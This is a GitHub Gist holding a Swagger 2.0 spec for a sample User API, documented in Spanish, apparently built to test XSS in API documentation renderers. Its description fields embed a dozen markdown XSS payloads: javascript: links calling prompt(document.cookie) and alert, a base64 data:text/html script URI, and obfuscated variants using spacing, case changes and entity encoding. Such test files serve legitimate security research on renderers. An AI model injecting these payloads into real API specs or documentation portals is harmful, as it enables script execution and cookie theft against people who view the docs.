Last active
February 24, 2025 20:17
-
-
Save betillogalvanfbc/c050ebc66c584c8e627587f4c21847db to your computer and use it in GitHub Desktop.
xss2.yaml
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
swagger: '2.0' | |
info: | |
title: User API | |
description: | | |
# User API 馃搶 | |
[a](javascript:prompt(document.cookie)) | |
[a](j a v a s c r i p t:prompt(document.cookie)) | |
)\ | |
<javascript:prompt(document.cookie)> | |
<javascript:alert('XSS')> | |
\ | |
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) | |
[a](javascript:alert('XSS')) | |
 | |
Esta API permite gestionar usuarios con operaciones CRUD. A continuaci贸n, se detallan los endpoints y ejemplos de uso. | |
--- | |
## 馃摲 Imagen en la documentaci贸n | |
 | |
--- | |
## 馃帴 Video de referencia | |
Puedes ver un video explicativo aqu铆: | |
[Watch this tutorial](https://www.youtube.com/watch?v=example) | |
--- | |
## 馃敆 Enlaces 煤tiles | |
- [Swagger OpenAPI Docs](https://swagger.io/specification/) | |
- [Markdown Guide](https://www.markdownguide.org/) | |
--- | |
## 馃搶 Ejemplo de C贸digo en la descripci贸n | |
```json | |
{ | |
"id": 1, | |
"name": "John Doe", | |
"email": "[email protected]" | |
} | |
``` | |
[a](javascript:this;alert(1)) | |
[a](javascript:this;alert(1)) | |
[a](javascript:this;alert(1)) | |
[a](Javascript:alert(1)) | |
[a](Javas%26%2399;ript:alert(1)) | |
[a](javascript:alert(1)) | |
--- | |
## 馃搵 Tabla de Estado de Usuarios | |
| Estado | Descripci贸n | | |
|---------|-----------------------------| | |
| `active` | Usuario activo en el sistema | | |
| `inactive` | Usuario inactivo | | |
| `banned` | Usuario bloqueado | | |
--- | |
## 馃殌 隆Comienza ahora! | |
Usa los endpoints abajo para interactuar con la API. | |
paths: | |
/users: | |
get: | |
summary: Get all users | |
description: | | |
Retorna la lista de usuarios disponibles en el sistema. | |
**Ejemplo de respuesta:** | |
```json | |
[ | |
{ | |
"id": 1, | |
"name": "John Doe", | |
"email": "[email protected]" | |
} | |
] | |
``` | |
operationId: getUsers | |
tags: | |
- users | |
responses: | |
'200': | |
description: 脡xito | |
schema: | |
type: array | |
items: | |
type: object | |
properties: | |
id: | |
type: integer | |
name: | |
type: string | |
email: | |
type: string | |
/users/{userId}/profile-picture: | |
get: | |
summary: Get user profile picture | |
description: | | |
Retorna la imagen de perfil del usuario en formato **JPEG** o **PNG**. | |
operationId: getUserProfilePicture | |
tags: | |
- users | |
parameters: | |
- name: userId | |
in: path | |
required: true | |
type: string | |
responses: | |
'200': | |
description: Imagen de perfil del usuario | |
schema: | |
type: string | |
format: binary | |
'404': | |
description: Usuario no encontrado | |
/users/{userId}/video: | |
get: | |
summary: Get user introduction video | |
description: | | |
Retorna un video de presentaci贸n del usuario. | |
operationId: getUserVideo | |
tags: | |
- users | |
parameters: | |
- name: userId | |
in: path | |
required: true | |
type: string | |
responses: | |
'200': | |
description: Video de presentaci贸n | |
schema: | |
type: string | |
format: binary | |
'404': | |
description: Usuario no encontrado |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment